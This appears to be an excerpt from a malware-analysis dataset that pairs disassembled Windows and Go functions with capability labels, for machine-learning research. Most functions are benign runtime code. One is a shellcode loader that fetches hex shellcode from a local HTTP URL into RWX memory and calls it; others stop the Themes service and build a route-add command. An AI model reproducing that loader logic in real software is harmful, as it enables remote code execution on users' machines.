joyce8/EMBER2024-capa huggingface dataset:
Function at 0x484400
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4844ca
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0
call sym.internal_bytealg.IndexByteString.abi0
xorps xmm15, xmm15
mov r14, qword [0x0065dff0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0xffffffffffffffff
jne 0x4844af
mov rcx, qword [rsp + 0x60]
lea rdx, [rcx + 1]
mov qword [rsp + 0x40], rdx
lea rax, [0x004df6c0]
xor ebx, ebx
mov rcx, rdx
call sym.runtime.makeslice
mov rbx, qword [rsp + 0x60]
mov rcx, rax
xor edi, edi
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x58]
nop dword [rax]
call sym.syscall.encodeWTF16
inc rbx
cmp rcx, rbx
jae 0x48449e
mov edi, 1
lea rsi, [0x004df6c0]
call sym.runtime.growslice
mov word [rax + rbx*2 - 2], 0
xor edi, edi
xor esi, esi
add rsp, 0x48
pop rbp
ret
xor eax, eax
xor ebx, ebx
mov rcx, rbx
lea rdi, [0x00530548]
lea rsi, [0x0052fc10]
add rsp, 0x48
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call sym.runtime.morestack_noctxt.abi0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp sym.syscall.UTF16FromString

Function at 0x4a5120
Capabilities:
Hash data using fnv

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4a585f
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rsp + 0x20], rax
movabs rcx, 0xcbf29ce484222325
jmp 0x4a514d
lea rax, [rdx + 0x10]
dec rbx
mov rcx, rsi
test rbx, rbx
jle 0x4a53d1
mov rdx, rax
mov rsi, qword [rax]
nop dword [rax]
test rsi, rsi
je 0x4a53fd
mov edi, dword [rsi + 0x10]
shr edi, 1
mov r8, qword [rax + 8]
and edi, 0x3f
lea rax, [0x005321a0]
jmp qword [rax + rdi*8]
mov rax, rcx
add rsp, 0x10
pop rbp
ret
lea rax, [0x004df5c0]
lea rbx, [0x005303a0]
call sym.runtime.gopanic
inc rax
cmp rax, r8
jge 0x4a5422
mov r9, qword [rsi + rax*8]
xor r10d, r10d
nop
jmp 0x4a5457
lea rdi, [0x004df640]
mov rsi, rcx
movabs rcx, 0x100000001b3
jmp 0x4a5143
movzx r11d, r9b
xor rcx, r11
inc r10
shr r9, 8
movabs r11, 0x100000001b3
imul rcx, r11
cmp r10, 8
jl 0x4a543b
jmp 0x4a5410
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
call sym.runtime.morestack_noctxt.abi0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
jmp sym.internal_bisect.Hash

Function at 0x4a5a00
Capabilities:
Hash data using fnv

Disassembly:
test byte [rax], al
mov rcx, rbx
and ebx, 0x7f
shl rbx, 5
lea rdx, [rax + rbx]
xor eax, eax
jmp 0x4a5a17
inc rax
cmp rax, 4
jge 0x4a5a2f
lea rbx, [rdx + rax*8]
mov rbx, qword [rbx]
cmp rbx, rcx
jne 0x4a5a14
mov eax, 1
ret
xor eax, eax
movabs rbx, 0xcbf29ce484222325
jmp 0x4a5a40
inc rax
cmp rax, 4
jge 0x4a5a4e
mov rsi, qword [rdx + rax*8]
xor edi, edi
jmp 0x4a5a77
and ebx, 3
lea rdx, [rdx + rbx*8]
xchg qword [rdx], rcx
xor eax, eax
ret
movzx r8d, sil
xor rbx, r8
inc rdi
shr rsi, 8
movabs r8, 0x100000001b3
imul rbx, r8
cmp rdi, 8
jl 0x4a5a5b
jmp 0x4a5a3d
Function at 0x4b54e0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4b562e
push rbp
mov rbp, rsp
sub rsp, 0x68
movups xmmword [rsp + 0x40], xmm15
mov qword [rsp + 0x30], 0
mov rax, qword [0x005d0910]
call sym.internal_godebug._Setting_.Value
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x28], rbx
movups xmmword [rsp + 0x50], xmm15
mov qword [rsp + 0x60], 0
lea rcx, [sym.net.goDebugNetDNS.func1]
mov qword [rsp + 0x50], rcx
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x58], rcx
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x60], rcx
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0x2b
call sym.internal_bytealg.IndexByteString.abi0
xorps xmm15, xmm15
mov r14, qword [0x0065dff0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rcx, qword [rsp + 0x18]
cmp rcx, 0xffffffffffffffff
je 0x4b55f2
mov rdx, qword [rsp + 0x28]
nop dword [rax + rax]
cmp rdx, rcx
jb 0x4b5628
mov qword [rsp + 0x20], rcx
mov rsi, qword [rsp + 0x50]
mov rax, qword [rsp + 0x38]
mov rbx, rcx
lea rdx, [rsp + 0x50]
call rsi
mov rax, qword [rsp + 0x20]
lea rcx, [rax + 1]
mov rbx, qword [rsp + 0x28]
cmp rbx, rcx
jb 0x4b561d
mov rsi, qword [rsp + 0x50]
sub rbx, rax
dec rbx
mov rdi, rbx
neg rdi
sar rdi, 0x3f
and rcx, rdi
mov rdi, qword [rsp + 0x38]
lea rax, [rdi + rcx]
lea rdx, [rsp + 0x50]
call rsi
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x48]
add rsp, 0x68
pop rbp
ret
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x28]
lea rdx, [rsp + 0x50]
call rcx
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x48]
add rsp, 0x68
pop rbp
ret
mov rax, rcx
mov rcx, rbx
call sym.runtime.panicSliceB
call sym.runtime.panicSliceAlen
nop
call sym.runtime.morestack_noctxt.abi0
jmp sym.net.goDebugNetDNS
Function at 0x10007510
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0xa0
mov dword [rsp + 0x20], 0
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
nop
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
xor edi, edi
xor eax, eax
lock cmpxchg qword [0x10015150], rbx
je 0x10007566
cmp rax, rbx
jne 0x10007559
mov edi, 1
jmp 0x10007566
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10007540
mov eax, dword [0x10015148]
cmp eax, 1
jne 0x1000757b
lea ecx, [rax + 0x1e]
call sub.MSVCR80.dll__amsg_exit
jmp 0x100075ba
mov eax, dword [0x10015148]
test eax, eax
jne 0x100075b0
mov dword [0x10015148], 1
lea rdx, [0x100014d0]
lea rcx, [0x100014b8]
call sub.MSVCR80.dll__initterm_e
test eax, eax
je 0x100075ba
mov eax, 0xff
jmp 0x10007714
mov dword [0x10014314], 1
mov eax, dword [0x10015148]
cmp eax, 1
jne 0x100075e2
lea rdx, [0x100014b0]
lea rcx, [0x10001470]
call sub.MSVCR80.dll__initterm
mov dword [0x10015148], 2
test edi, edi
jne 0x100075ef
xor eax, eax
xchg qword [0x10015150], rax
cmp qword [0x10015168], 0
je 0x10007618
lea rcx, [0x10015168]
call fcn.10007b90
test eax, eax
je 0x10007618
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call qword [0x10015168]
mov rax, qword [sym.imp.MSVCR80.dll__acmdln]
mov rbx, qword [rax]
mov qword [rsp + 0x28], rbx
mov edi, dword [rsp + 0x20]
nop
nop
movzx ecx, byte [rbx]
cmp cl, 0x20
ja 0x100076aa
test cl, cl
je 0x10007640
test edi, edi
jne 0x100076aa
movzx eax, byte [rbx]
test al, al
je 0x10007656
cmp al, 0x20
ja 0x10007656
add rbx, 1
mov qword [rsp + 0x28], rbx
jmp 0x10007640
test byte [rsp + 0x6c], 1
je 0x10007665
movzx r9d, word [rsp + 0x70]
jmp 0x1000766b
mov r9d, 0xa
mov r8, rbx
xor edx, edx
lea rcx, [0x10000000]
call fcn.10005300
mov dword [0x10014310], eax
cmp dword [0x100142f4], 0
jne 0x10007693
mov ecx, eax
call qword [sym.imp.MSVCR80.dll_exit]
cmp dword [0x10014314], 0
jne 0x100076a8
call qword [sym.imp.MSVCR80.dll__cexit]
mov eax, dword [0x10014310]
jmp 0x1000770d
cmp cl, 0x22
jne 0x100076bc
xor eax, eax
test edi, edi
sete al
mov edi, eax
mov dword [rsp + 0x20], eax
movzx ecx, cl
call qword [sym.imp.MSVCR80.dll__ismbblead]
test eax, eax
je 0x100076d2
add rbx, 1
mov qword [rsp + 0x28], rbx
add rbx, 1
mov qword [rsp + 0x28], rbx
jmp 0x10007630
jmp 0x10007714
mov rbx, qword [rsp + 0xb0]
add rsp, 0xa0
pop rdi
ret
sub rsp, 0x28
call fcn.1014f000
add rsp, 0x28
jmp 0x10007510
Function at 0x140cd1058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140cd11df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140cd1089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140cd106f
add dl, dl
jne 0x140cd1096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140cd10f6
xor eax, eax
add dl, dl
jne 0x140cd10a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140cd11ad
add dl, dl
jne 0x140cd10b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140cd10c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140cd10d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140cd10dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140cd10ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140cd107e
mov eax, 1
add dl, dl
jne 0x140cd1106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140cd1113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140cd10fb
sub eax, ebx
mov ebx, 1
jne 0x140cd114c
mov ecx, 1
add dl, dl
jne 0x140cd112e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140cd113b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140cd1123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140cd107e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140cd1168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140cd1175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140cd115d
cmp eax, 0x7d00
jae 0x140cd119b
cmp eax, 0x500
jb 0x140cd1196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140cd107e
cmp eax, 0x7f
ja 0x140cd119e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140cd107e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140cd11d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140cd107e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x18001112c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
jmp 0x180019200
push rbp
push rdi
sub rsp, 0x1a8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x32
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x18002a040]
xor rax, rbp
mov qword [rbp + 0x178], rax
lea rcx, [0x180031095]
call fcn.180011893
lea rax, str.http:__127.0.0.1:9999_shellcode_hex.txt
mov qword [rbp + 8], rax
mov edx, 0x20
lea rcx, [rbp + 0x28]
call fcn.180011087
lea rcx, [rbp + 0x28]
call fcn.18001161d
nop
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 8]
call fcn.1800110d2
mov qword [rbp + 0x68], rax
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, qword [rbp + 0x68]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x88], rax
lea rcx, [rbp + 0x28]
call fcn.180011942
mov r8, qword [rbp + 0x68]
mov rdx, rax
mov rcx, qword [rbp + 0x88]
call fcn.18001144c
mov rax, qword [rbp + 0x88]
mov qword [rbp + 0xa8], rax
call qword [rbp + 0xa8]
nop
lea rcx, [rbp + 0x28]
call fcn.1800112ad
lea rcx, [rbp - 0x20]
lea rdx, [0x180023ed0]
call fcn.180011744
mov rcx, qword [rbp + 0x178]
xor rcx, rbp
call fcn.180011447
lea rsp, [rbp + 0x188]
pop rdi
pop rbp
ret

Function at 0x1800114f1
Capabilities:
Terminate process

Disassembly:
jmp 0x18001bd70
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1800116db
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
jmp 0x180019040
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x20]
lea rcx, [0x180031095]
call fcn.180011893
mov rax, qword [rbp + 0x160]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x180019089
xor eax, eax
jmp 0x180019149
mov rax, qword [rbp + 8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rbp + 0x160]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
cmp dword [rax], 0x4550
je 0x1800190b5
xor eax, eax
jmp 0x180019149
mov rax, qword [rbp + 0x28]
movzx eax, word [rax + 0x14]
mov rcx, qword [rbp + 0x28]
lea rax, [rcx + rax + 0x18]
mov qword [rbp + 0x48], rax
mov dword [rbp + 0x64], 0
jmp 0x1800190db
mov eax, dword [rbp + 0x64]
inc eax
mov dword [rbp + 0x64], eax
mov rax, qword [rbp + 0x28]
movzx eax, word [rax + 6]
cmp dword [rbp + 0x64], eax
jge 0x180019147
movsxd rax, dword [rbp + 0x64]
imul rax, rax, 0x28
mov rcx, qword [rbp + 0x48]
add rcx, rax
mov rax, rcx
mov rdx, rax
mov rcx, qword [rbp + 0x170]
call fcn.180011974
test eax, eax
jne 0x180019145
movsxd rax, dword [rbp + 0x64]
imul rax, rax, 0x28
mov rcx, qword [rbp + 0x168]
mov rdx, qword [rbp + 0x48]
mov eax, dword [rdx + rax + 8]
mov dword [rcx], eax
movsxd rax, dword [rbp + 0x64]
imul rax, rax, 0x28
mov rcx, qword [rbp + 0x48]
mov eax, dword [rcx + rax + 0xc]
mov rcx, qword [rbp + 0x160]
add rcx, rax
mov rax, rcx
jmp 0x180019149
jmp 0x1800190d3
xor eax, eax
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret
Function at 0x140001548
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0xfb8]
mov eax, 0x10b0
call fcn.140013060
sub rsp, rax
mov rax, qword [0x140061568]
xor rax, rsp
mov qword [rbp + 0xfa0], rax
mov rsi, rcx
lea rcx, [rsp + 0x30]
call fcn.140007e94
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14000159b
lea ecx, [rax + 6]
jmp 0x1400016e0
call fcn.140009964
mov rbx, rax
call fcn.140009330
mov qword [rsp + 0x28], rbx
lea r8, [0x14005a148]
mov ebx, 0x400
mov dword [rsp + 0x20], 0x5c
mov edx, ebx
lea rcx, [rbp + 0x7a0]
mov r9, rax
call fcn.1400099e8
mov r9d, dword [rsp + 0x30]
lea r8, [0x14005a158]
mov edx, ebx
lea rcx, [rbp - 0x60]
call fcn.1400099e8
and qword [rsp + 0x70], 0
lea rax, str.JavaWSSplashScreen
mov qword [rsp + 0x50], rax
lea r8, [rsp + 0x50]
and al, 0x50
lea rax, [0x14005a188]
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x7a0]
lea rax, [rbp - 0x60]
xor ecx, ecx
mov qword [rsp + 0x60], rax
call fcn.140009240
mov rcx, rdi
test eax, eax
jne 0x1400016d9
xor eax, eax
mov dword [rsp + 0x34], reloc.WSOCK32.dll_recv
lea r8, [rsp + 0x34]
mov qword [rsp + 0x38], rax
lea rdx, [rsp + 0x38]
mov qword [rsp + 0x40], rax
call qword [sym.imp.WSOCK32.dll_accept]
cmp eax, 0xffffffff
jne 0x14000166b
mov rcx, rdi
call fcn.140009130
mov ecx, 6
jmp 0x1400016e0
xor r9d, r9d
movsxd rbx, eax
lea rdx, [rbp - 0x70]
mov rcx, rbx
lea r8d, [r9 + 6]
call qword [sym.imp.WSOCK32.dll_recv]
cmp eax, 6
je 0x14000169e
mov rcx, rbx
call fcn.140009130
mov rcx, rdi
call fcn.140009130
mov ecx, 7
jmp 0x1400016e0
lea rcx, [rbp - 0x70]
call fcn.140024534
mov dword [0x14005a140], eax
mov rcx, rbx
test eax, eax
jg 0x1400016c8
call fcn.140009130
mov rcx, rdi
call fcn.140009130
mov ecx, 8
jmp 0x1400016e0
call fcn.140009130
mov rcx, rdi
call fcn.140009130
xor eax, eax
jmp 0x1400016e5
call fcn.140009130
xor ecx, ecx
call fcn.14000b44c
mov rcx, qword [rbp + 0xfa0]
xor rcx, rsp
call fcn.1400130d0
lea r11, [rsp + 0x10b0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x180001220
Capabilities:
Initialize winsock library

Disassembly:
sub rsp, 0x1d8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
test edx, edx
je 0x1800012e1
cmp edx, 1
jne 0x180001301
lea rdx, [rsp + 0x20]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x180001301
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [0x18000a468], rax
test rax, rax
je 0x180001301
call section..text
test eax, eax
jne 0x1800012a4
nop dword [rax + rax]
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
call section..text
test eax, eax
je 0x180001290
lea rcx, [0x18000a4d0]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea r8, [0x18000a4a8]
lea rdx, str._c_route_add_0.0.0.0_mask_0.0.0.0__s
lea rcx, [0x18000a4d0]
call qword [sym.imp.MSVCR90.dll_sprintf]
call fcn.1800027d0
mov byte [str.SOFTWARE_test], 0
jmp 0x180001301
mov rcx, qword [0x18000a468]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x18000a348]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.180005850
add rsp, 0x1d8
ret

Function at 0x180001320
Capabilities:
Stop service

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
lea rdx, str.Themes
mov r8d, 0xf01ff
mov rcx, rax
mov rsi, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
lea r8, [rsp + 0x20]
mov edx, 1
mov rcx, rax
mov rdi, rax
call qword [sym.imp.ADVAPI32.dll_ControlService]
mov ebx, 0x1d
lea r8, [rsp + 0x20]
mov edx, 4
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x180001397
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x426
je 0x1800013b0
cmp dword [rsp + 0x24], 1
je 0x1800013b8
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
add ebx, 0xffffffff
jne 0x180001373
jmp 0x1800013b8
mov dword [rsp + 0x24], 1
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret

Function at 0x180001470
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov r8d, dword [0x18000a658]
xor edx, edx
mov ecx, 0x1f0fff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1800014b9
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x1800014b0
lea rdx, [rsp + 0x38]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x20
pop rbx
ret
Function at 0x180002a10
Capabilities:
Query or enumerate registry value

Disassembly:
push rdi
sub rsp, 0x100
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xf0], rax
lea rcx, [rsp + 0x40]
lea r8, [0x180000000]
lea rdi, [rsp + 0x40]
mov rax, qword [r8 + 0x7428]
mov qword [rcx], rax
mov rax, qword [r8 + 0x7430]
mov qword [rcx + 8], rax
mov rax, qword [r8 + 0x7438]
mov qword [rcx + 0x10], rax
movzx eax, byte [r8 + 0x7440]
mov byte [rcx + 0x18], al
xor eax, eax
or rcx, 0xffffffffffffffff
mov qword [rsp + 0x59], rax
mov qword [rsp + 0x61], rax
mov qword [rsp + 0x69], rax
mov word [rsp + 0x71], ax
repne scasb al, byte [rdi]
not rcx
dec rcx
movsxd rdx, ecx
test ecx, ecx
jle 0x180002a9d
add byte [rsp + rax + 0x40], 2
inc rax
cmp rax, rdx
jl 0x180002a90
mov rax, qword [r8 + 0x7448]
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x8e]
mov qword [rdx], rax
mov eax, dword [r8 + 0x7450]
mov dword [rdx + 8], eax
movzx eax, word [r8 + 0x7454]
mov word [rdx + 0xc], ax
xor edx, edx
lea r8d, [rdx + 0x57]
call sub.MSVCR90.dll_memset
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x80]
repne scasb al, byte [rdi]
not rcx
dec rcx
movsxd rdx, ecx
test ecx, ecx
jle 0x180002b10
nop word [rax + rax]
add byte [rsp + rax + 0x80], 3
inc rax
cmp rax, rdx
jl 0x180002b00
lea rax, [rsp + 0x38]
lea rdx, [rsp + 0x40]
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [0x18000a660], 0
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x180002b9e
mov rcx, qword [rsp + 0x38]
mov dword [rsp + 0x30], eax
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x30]
lea rdx, [rsp + 0x80]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x34], 4
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [rsp + 0x30]
cmp eax, 0xf4240
jbe 0x180002b94
add eax, 0xbc614e
mov dword [0x18000a660], eax
jmp 0x180002b9e
mov dword [0x18000a660], 0
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x180002bae
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov rcx, qword [rsp + 0xf0]
xor rcx, rsp
call fcn.180005850
add rsp, 0x100
pop rdi
ret
Function at 0x180005d4b
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [section..data]
jne 0x18000586a
rol rcx, 0x10
test cx, 0xffff
jne 0x180005866
repz ret
ror rcx, 0x10
jmp 0x180005ca4
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x180009e50]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x180009f48]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x180005d29
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x180009e50]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x180005d4b
mov rax, qword [rsp + 0x88]
mov qword [0x180009f48], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x180009ee8], rax
mov rax, qword [0x180009f48]
mov qword [0x180009dc0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x180009ed0], rax
mov dword [0x180009db0], 0xc0000409
mov dword [0x180009db4], 1
mov rax, qword [section..data]
mov qword [rsp + 0x68], rax
mov rax, qword [0x180009008]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x180009e48], eax
mov ecx, 1
call sub.MSVCR90.dll___crt_debugger_hook
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x180007318]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x180009e48], 0
jne 0x180005dd2
mov ecx, 1
call sub.MSVCR90.dll___crt_debugger_hook
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret